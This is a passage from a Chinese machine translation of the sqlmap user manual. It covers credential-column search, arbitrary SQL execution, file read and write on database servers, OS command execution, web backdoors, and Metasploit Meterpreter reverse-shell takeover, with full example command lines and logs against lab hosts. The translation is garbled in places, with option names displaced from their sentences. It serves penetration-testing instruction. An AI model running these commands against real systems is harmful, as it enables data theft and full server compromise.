开关:和--dump-all``--exclude-sysdbs

可以同时转储会话用户具有读取访问权限的所有数据库表条目。

您还可以提供开关以排除所有系统数据库。在这种情况下,sqlmap 将只转储用户数据库表的条目。--exclude-sysdbs

请注意,在 Microsoft SQL Server 上,数据库不被视为系统数据库,因为某些数据库管理员使用它作为用户的数据库。master

搜索列、表或数据库

开关和选项: , 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、--search``-C``-T``-D

此开关允许您搜索特定数据库名称、跨所有数据库的特定表或跨所有数据库表的特定列

例如,这可用于标识包含自定义应用程序凭据的表,其中相关列的名称包含名称和 pass等**字符串

交换机需要与以下支持选项之一结合使用:--search

  • -C遵循逗号分隔的列名称列表,以在整个数据库管理系统中查找。
  • -T遵循逗号分隔表名的列表,以在整个数据库管理系统中查找。
  • -D遵循逗号分隔的数据库名称列表,以跨数据库管理系统查找。

运行自定义 SQL 语句

选项和开关:和--sql-query``--sql-shell

SQL 查询和 SQL shell 功能允许在数据库管理系统上运行任意 SQL 语句。sqlmap 自动剖析提供的语句,确定适合使用哪种技术来注入它以及如何相应地打包 SQL 有效负载。

如果查询是语句,sqlmap 将检索其输出。否则,如果 Web 应用程序支持在最终数据库管理系统上的多个语句,它将通过堆叠查询 SQL 注入技术执行查询。请注意,某些 Web 应用程序技术不支持对特定数据库管理系统进行堆叠查询。例如,当回端 DBMS 是 MySQL 时,PHP 不支持堆叠查询,但当向后端 DBMS 是 PostgreSQL 时,PHP 支持堆叠查询。SELECT

针对 Microsoft SQL Server 2000 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT \'foo\'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: \'SELECT \'foo\'\'
[hh:mm:14] [INFO] retrieved: foo
SELECT \'foo\':    \'foo\'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT \'foo\', \'bar\'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: \'SELECT \'foo\', \'bar\'\'
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT \'foo\', \'bar\':    \'foo, bar\'

如您所看到的,sqlmap 将提供的查询拆分为两个不同的语句,然后检索每个独立查询的输出。SELECT

如果提供的查询是语句并包含子句,sqlmap 将询问此语句是否可以返回多个条目。在这种情况下,该工具知道如何正确解压缩查询,以计算可能的条目数并检索其输出,每个条目的条目。SELECT``FROM

SQL shell 选项允许您以交互方式运行自己的 SQL 语句,就像连接到数据库管理系统的 SQL 控制台一样。此功能还提供 TAB 完成和历史记录支持。

蛮 力

这些开关可用于运行暴力检查。

暴力表名称

开关:--common-tables

在某些情况下,不能使用开关来检索数据库的表名。这些情况通常分为以下类别之一:--tables

  • 数据库管理系统是 MySQL < 5.0,其中不可用。information_schema
  • 数据库管理系统是微软访问和系统表不可读 - 默认设置。MSysObjects
  • 会话用户对存储数据库方案的系统表没有读取权限。

如果前两种情况中的任何一个适用,并且您提供了开关 ,sqlmap 将提示您回答此技术的问题。这两种情况中的任何一种情况都适用于您的情况,如果提供开关,sqlmap 仍可能标识一些现有表。sqlmap 将执行暴力攻击,以检测 DBMS 中是否存在公共表。--tables``--common-tables

公共表名列表是,您可以按心编辑它。txt/common-tables.txt

针对 MySQL 4.1 目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    \'4.1.21-community-nt\'

[hh:mm:40] [INFO] checking table existence using items from \'/software/sqlmap/tx
t/common-tables.txt\'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力列名称

开关:--common-columns

根据表,在某些情况下,不能使用开关来检索数据库的表的列名。这些情况通常分为以下类别之一:--columns

  • 数据库管理系统是 MySQL < 5.0,其中不可用。information_schema
  • 数据库管理系统是 Microsoft Access,其中此类信息在系统表中不可用。
  • 会话用户对存储数据库方案的系统表没有读取权限。

如果前两种情况中的任何一个适用,并且您提供了开关 ,sqlmap 将提示您回答此技术的问题。这两种情况中的任何一种情况都适用于您的情况,如果提供开关,sqlmap 仍可能标识一些现有表。sqlmap 将执行暴力攻击,以检测 DBMS 中是否存在公共列。--columns``--common-columns

公共表名列表是,您可以按心编辑它。txt/common-columns.txt

用户定义的函数注入

这些选项可用于创建自定义用户定义的函数。

注入自定义用户定义的函数 (UDF)

开关和选项:和--udf-inject``--shared-lib

您可以通过编译 MySQL 或 PostgreSQL 共享库、用于 Windows 的 DLL 以及用于 Linux/Unix 的共享对象来注入自己的用户定义的函数 (UDF),然后为 sqlmap 提供共享库存储在计算机上本地的路径。然后 sqlmap 会询问您一些问题,将共享库上载到数据库服务器文件系统上,从中创建用户定义的函数,并根据您的选项执行它们。使用完注入的 UDF 后,sqlmap 也可以从数据库中删除它们。

这些技术在白皮书中详细介绍了高级SQL 注入操作系统的完全控制

使用选项并按照说明操作。--udf-inject

如果需要,也可以使用选项通过命令行指定共享库本地文件系统路径。反之亦然,sqlmap 将在运行时要求您提供路径。--shared-lib

此功能仅在数据库管理系统为 MySQL 或 PostgreSQL 时才可用。

文件系统访问

从数据库服务器的文件系统读取文件

选项:--file-read

当最终数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时,可以从基础文件系统检索文件的内容,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。指定的文件可以是文本文件,也可以是二进制文件。sqlmap 将正确处理它。

这些技术在白皮书中详细介绍了高级SQL 注入操作系统的完全控制

针对 Microsoft SQL Server 2005 目标检索二进制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: \'C:/example.exe\'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    \'/software/sqlmap/output/192.168.136.129/files/
C__example.exe\'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

将文件上载到数据库服务器的文件系统

选项: 和--file-write``--file-dest

当最终数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时,可以将本地文件上载到数据库服务器的文件系统,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。指定的文件可以是文本文件,也可以是二进制文件。sqlmap 将正确处理它。

这些技术在白皮书中详细介绍了高级SQL 注入操作系统的完全控制

针对 MySQL 目标上传二进制 UPX 压缩文件的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file \'C:/WINDOWS/Temp/nc.exe\' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file \'/software/nc.exe.packed\'

操作系统接管

运行任意操作系统命令

选项和开关:和--os-cmd``--os-shell

当最终数据库管理系统是MySQL、PostgreSQL 或 Microsoft SQL Server 时,可以运行数据库服务器的基础操作系统上的任意命令,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。

在 MySQL 和 PostgreSQL 上,sqlmap 上传(通过上面解释的文件上传功能)包含两个用户定义的函数的共享库(二进制文件),然后在数据库上创建这两个函数,并调用其中一个函数来执行指定的命令,具体取决于用户是否选择显示标准输出。在 Microsoft SQL Server 上,sqlmap 会滥用存储过程:如果禁用它(默认情况下在 Microsoft SQL Server >= 2005 上),sqlmap 将重新启用它;如果禁用它(默认情况下,在 Microsoft SQL Server >= 2005 上),sqlmap 将重新启用它;如果不存在,sqlmap 会从头开始创建它。sys_exec()``sys_eval()``xp_cmdshell

当用户请求标准输出时,sqlmap 使用枚举 SQL 注入技术之一(盲、带或基于错误)来检索它。反之亦然,如果不需要标准输出,则使用堆叠查询 SQL 注入技术来执行该命令。

这些技术在白皮书中详细介绍了高级SQL 注入操作系统的完全控制

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF \'sys_eval\' already exist
[hh:mm:12] [INFO] checking if UDF \'sys_exec\' already exist
[hh:mm:12] [INFO] creating UDF \'sys_eval\' from the binary UDF file
[hh:mm:12] [INFO] creating UDF \'sys_exec\' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    \'uid=104(postgres) gid=106(postgres) groups=106(post
gres)\'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF \'sys_eval\'? [Y/n] y
do you want to remove UDF \'sys_exec\'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

还可以模拟一个真实的 shell,您可以在其中键入任意数量的任意命令。该选项是并且具有相同的 TAB 完成和历史记录功能。--os-shell``--sql-shell

如果 Web 应用程序上尚未识别堆叠查询(例如,具有后端数据库管理系统为 MySQL 的 PHP 或 ASP),而 DBMS 是 MySQL,则仍然可能滥用该子句,在 Web 服务器文档根目录内的可写文件夹中创建 Web 后门,并且如果端端 DBMS 和 Web 服务器托管在同一服务器上,仍然可以获得命令执行。sqlmap 支持此技术,并允许用户提供可能的文档根子文件夹的逗号分隔列表,其中尝试上载 Web 文件阶段和后续的 Web 后门。此外,sqlmap 具有自己测试的 Web 文件阶段和以下语言的后门:SELECT``INTO OUTFILE

  • Asp
  • ASP.NET
  • Jsp
  • Php

带外有状态连接:仪表机和朋友

开关和选项:, 、 、 、 、 、 、 、--os-pwn``--os-smbrelay``--os-bof``--priv-esc``--msf-path``--tmp-path

当并行数据库管理系统是MySQL、PostgreSQL 或 Microsoft SQL Server 时,可以在攻击者计算机和基础操作系统的数据库服务器之间建立带外状态 TCP 连接,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。此通道可以是交互式命令提示符、Meterpreter 会话或图形用户界面 (VNC) 会话(根据用户的选择)。

sqlmap 依靠 Metasploit 创建 shellcode,并实现四种不同的技术在数据库服务器上执行它。这些技术包括:

  • 通过 sqlmap 自己的用户定义的函数执行 Metasploit的 shellcode 的数据库内存中。支持 MySQL 和 PostgreSQL 交换机 。sys_bineval()``--os-pwn
  • 通过 Sqlmap 自己的用户定义的函数MySQL 和 PostgreSQL 上或通过 Microsoft SQL Server 交换机上传和执行 Metasploit 的单独有效负载阶段程序。sys_exec()``xp_cmdshell()``--os-pwn
  • 通过执行SMB反射攻击(MS08-068)执行 Metasploit 的 shellcode,该请求从数据库服务器到 Metasploit 服务器侦听的攻击者计算机的 UNC 路径请求。在 Linux/Unix 上运行具有高权限 () 的 sqlmap 时受支持,目标 DBMS 在 Windows - switch 上以管理员身份运行。smb_relay``uid=0``--os-smbrelay
  • 利用 Microsoft SQL Server 2000 和 2005 sp_replwritetovarbin存储过程堆缓冲区溢出(MS09-004 ) 来执行 Metasploit 的 shell 码的数据库内存中。sqlmap 有自己的漏洞,通过自动 DEP 内存保护旁路触发漏洞,但它依赖于 Metasploit 生成 shellcode,在成功利用时执行 - switch 。--os-bof

这些技术在白皮书"高级 SQL 注入到操作系统完全控制"和"幻灯片"中详细介绍了从数据库扩展对操作系统的控制

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF \'sys_bineval\' already exist
[hh:mm:33] [INFO] checking if UDF \'sys_exec\' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF \'sys_bineval\' from the binary UDF file
[hh:mm:34] [INFO] creating UDF \'sys_exec\' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF \'sys_bineval\' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF \'sys_b
ineval\', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The \'priv\' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,Windows 上的 MySQL 运行为 ,但是 PostgreSQL 在 Windows 和 Linux 上都作为低特权用户运行。默认情况下,Microsoft SQL Server 2000 以 运行,而 Microsoft SQL Server 2005 和 2008 大多数时间运行为 ,有时运行为。SYSTEM``postgres``SYSTEM``NETWORK SERVICE``LOCAL SERVICE

可以通过 Metasploit 的命令(包括 kitrap0d 技术(MS10-015)提供sqlmap来执行数据库进程的用户权限升级。 --priv-esc``getsystem

Windows 注册表访问

当最终数据库管理系统是 MySQL、PostgreSQL 或 Microsoft SQL Server 时,以及当 Web 应用程序支持堆叠查询时,可以访问 Windows 注册表。此外,会话用户必须具有访问它所需的权限。

读取 Windows 注册表项值

开关:--reg-read

使用此开关,您可以读取注册表项值。

写入 Windows 注册表项值

开关:--reg-add

使用此开关,您可以编写注册表项值。

删除 Windows 注册表项

开关:--reg-del

使用此开关,您可以删除注册表项。

辅助注册表选项

选项: 、 和--reg-key``--reg-value``--reg-data``--reg-type

这些选项可用于提供正确运行交换机和 所需的数据。因此,在询问时,无需提供注册表项信息,而是可以在命令提示符处将它们用作程序参数。--reg-read``--reg-add``--reg-del

使用选项,您可以指定使用的 Windows 注册表项路径,在提供键内指定值项名称,使用值数据,而使用选项指定值项的类型。--reg-key``--reg-value``--reg-data``--reg-type

用于添加注册表项配置单元的示例命令行如下:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

常规

这些选项可用于设置一些一般工作参数。

从存储的 (.sqlite) 文件加载会话

选项:-s

sqlmap 会自动为每个目标(专用输出目录)创建一个持久会话 SQLite 文件,其中存储会话恢复所需的所有数据。如果用户想要显式设置会话文件位置(例如,在一个位置存储多个目标的会话数据),他可以使用此选项。

将 HTTP 流量记录到文本文件

选项:-t

此选项需要指定文本文件的参数来写入 sqlmap - HTTP(S) 请求和 HTTP(S) 响应生成的所有 HTTP(s) 流量。

这主要用于调试目的 - 当您向开发人员提供潜在的 Bug 报告时,请也发送此文件。

设置问题的答案

选项:--answers

如果用户希望自动设置问题的答案,即使使用,使用此选项,他可以通过提供问题的任何部分以及等号后的答案来做到这一点。此外,不同问题的答案可以拆分为分隔符字符。--batch``,

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter \'id\'
heuristic (parsing) test showed that the back-end DBMS could be \'MySQL\'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for \'MySQL\' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

声明包含 Base64 编码数据的参数

选项:--base64

如果目标 Web 应用程序使用 Base64 编码将数据存储在特定参数(例如 Base64 编码 JSON 字典)内,则用户可以使用选项声明它,从而指示 sqlmap 正确测试基础值。--base64

示例用法(注: ):Base64(\'{"id": 1}\') == \'eyJpZCI6IDF9\'

$ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZC\
I6IDF9 -v 5 --base64=value
[...]
[23:43:35] [INFO] testing \'Boolean-based blind - Parameter replace (original valu
e)\'
[23:43:35] [PAYLOAD] KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAx
fScgRUxTRSAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp
[23:43:35] [TRAFFIC OUT] HTTP request [#11]:
GET /?value=KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAxfScgRUxTR
SAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp HTTP/1.1
Host: localhost
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.4.3#dev (http://sqlmap.org)
Connection: close
[...]

在非交互模式下操作

开关:--batch

如果希望 sqlmap 作为批处理工具运行,在 sqlmap 需要时没有任何用户的交互,可以使用 switch 强制它。每当需要用户的输入时,这都会使 sqlmap 与默认行为一起使用。--batch

二进制内容检索

选项--binary-fields

在二进制内容检索的情况下,例如具有存储二进制值的列(例如具有二进制存储密码哈希值的列)的表,可以使用选项(额外)按 sqlmap 进行正确处理。然后检索所有这些字段(即表列),并在其十六进制表示中表示,以便以后可以使用其他工具(例如 )正确处理这些字段。password``--binary-fields``john

自定义(盲)SQL 注入字符集

选项:--charset

在基于布尔的盲和基于时间的盲 SQL 注入情况下,用户可以强制使用自定义字符集以加快数据检索过程。例如,在转储消息摘要值(例如 SHA1)的情况下,通过使用(例如)预期请求数比常规运行时少 30% 左右。--charset="0123456789abcdef"

从目标 URL 开始抓取网站

选项:--crawl

sqlmap 可以通过从目标位置开始收集可能易受攻击的链接(爬网)来收集这些链接。使用此选项,用户可以设置深度(与起始位置的距离),其中 sqlmap 不会进入收集阶段,因为只要有新的链接要访问,该过程就是递归完成的。

针对 MySQL 目标运行的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset \'ascii\'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

选项--crawl-exclude

使用此选项,您可以通过提供正则表达式来从爬网中排除页面。例如,如果要跳过其路径中包含关键字的所有页面,可以使用 。logout``--crawl-exclude=logout

CSV 输出中使用的分隔字符

选项:--csv-del

当转储的数据存储在 CSV 格式 (中) 时,条目必须用"分离值"(默认值为 ) 分隔。如果用户想要重写其默认值,他可以使用此选项(例如 )。--dump-format=CSV``,``--csv-del=";"

DBMS 身份验证凭据

选项:--dbms-cred

在某些情况下,用户会因为缺少当前的 DBMS 用户权限而发现某些操作失败,他可以尝试使用此选项。在这种情况下,如果他使用此选项向 sqlmap 提供用户凭据,sqlmap 将尝试使用专门的"以"机制运行(例如 在 Microsoft SQL Server 上),使用这些凭据。admin``OPENROWSET

转储数据的格式

选项:--dump-format

sqlmap 支持三种不同类型的格式,当将转储的表数据存储到输出目录中的相应文件中: 和 。默认的一个是 ,其中每个表行都按行存储到文本文件中,并且每个条目都用逗号字符分隔(或用 选项提供的逗号)。在 中,输出将存储在 HTML 文件中,其中每行在格式化表中用一行表示。在 的情况下,输出将存储到 SQLITE 数据库中,其中原始表内容将复制到具有相同名称的相应表中。CSV``HTML``SQLITE``CSV``,``--csv-del``HTML``SQLITE

用于数据检索的强制字符编码

选项:--encoding

为了正确解码字符数据,sqlmap 使用 Web 服务器提供的信息(例如 HTTP 标头)或来自第三方库字符的启发式结果Content-Type

但是,在某些情况下,此值必须被覆盖,尤其是在检索包含国际非 ASCII 字母的数据时(例如 )。必须指出,由于存储的数据库内容与目标端使用的数据库连接器之间的隐式不兼容,字符信息可能会不可逆转地丢失。--encoding=GBK

估计到达时间

开关:--eta

可以实时计算和显示估计到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲 SQL 注入类型时,将显示此值。

仅受基于布尔的盲 SQL 注入影响的 Oracle 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    \'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod\'

如您所见,sqlmap 首先计算查询输出的长度,然后估计到达时间,以百分比显示进度并计算检索到的输出字符数。

刷新会话文件

选项:--flush-session

由于您已经熟悉了上述描述中会话文件的概念,因此,您知道可以使用 选项刷新该文件的内容是一件好事。这样,您就可以避免在 sqlmap 中默认实现的缓存机制。其他可能的方法是手动删除会话文件。--flush-session

解析和测试表单的输入字段

开关:--forms

假设您要针对 SQL 注入测试一个巨大的搜索表单,或者要测试登录绕过(通常只有两个输入字段,如用户名和密码),您可以在请求文件中传递到 sqlmap 请求 ()、相应地设置 POSTED 数据 () 或让 sqlmap 为你做!-r``--data

上述两个实例和许多其他实例都显示为 HTML 响应体中的 和 标记,这就是此开关发挥作用的地方。 <form>`` <input>

提供 sqlmap 以及可以找到窗体作为目标 URL () 的页面,sqlmap 将请求目标 URL,分析其具有的窗体,并指导您测试这些表单输入字段(参数)而不是提供的目标 URL 上的 SQL 注入。--forms``-u

忽略存储在会话文件中的查询结果

开关:--fresh-queries

由于您已经熟悉了上述描述中会话文件的概念,因此可以知道可以使用 选项 忽略该文件的内容。这样,您可以保持会话文件不变,并且对于选定的运行,避免恢复/恢复查询输出。--fresh-queries

使用 DBMS 十六进制函数进行数据检索

开关:--hex

在丢失的情况下,检索非 ASCII 数据需要特殊需要。此问题的一个解决方案是使用 DBMS 十六进制函数。通过此开关打开,数据在检索之前被编码为十六进制形式,然后取消编码到它的原始窗体。

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: \'pg_query() [<a href=\'function.pg-query\'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>\'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出目录路径

选项:--output-dir

sqlmap 默认在子目录中存储会话和结果文件。如果您想要使用其他位置,可以使用此选项(例如 )。output``--output-dir=/tmp

分析响应页中的 DBMS 错误消息

开关:--parse-errors

如果 Web 应用程序在调试模式下配置,以便它在 HTTP 响应中显示端端数据库管理系统错误消息,sqlmap 可以分析并显示它们。

这对于调试目的很有用,例如了解为什么某个枚举或接管开关不起作用 - 这可能是会话用户的权限问题,在这种情况下,您会看到一条 DBMS 错误消息,其行自。Access denied for user <SESSION USER>

针对 Microsoft SQL Server 目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: \'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>\'
[xx:xx:17] [INFO] parsed error message: \'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>\'
[xx:xx:17] [INFO] parsed error message: \'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>\'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

预处理响应数据

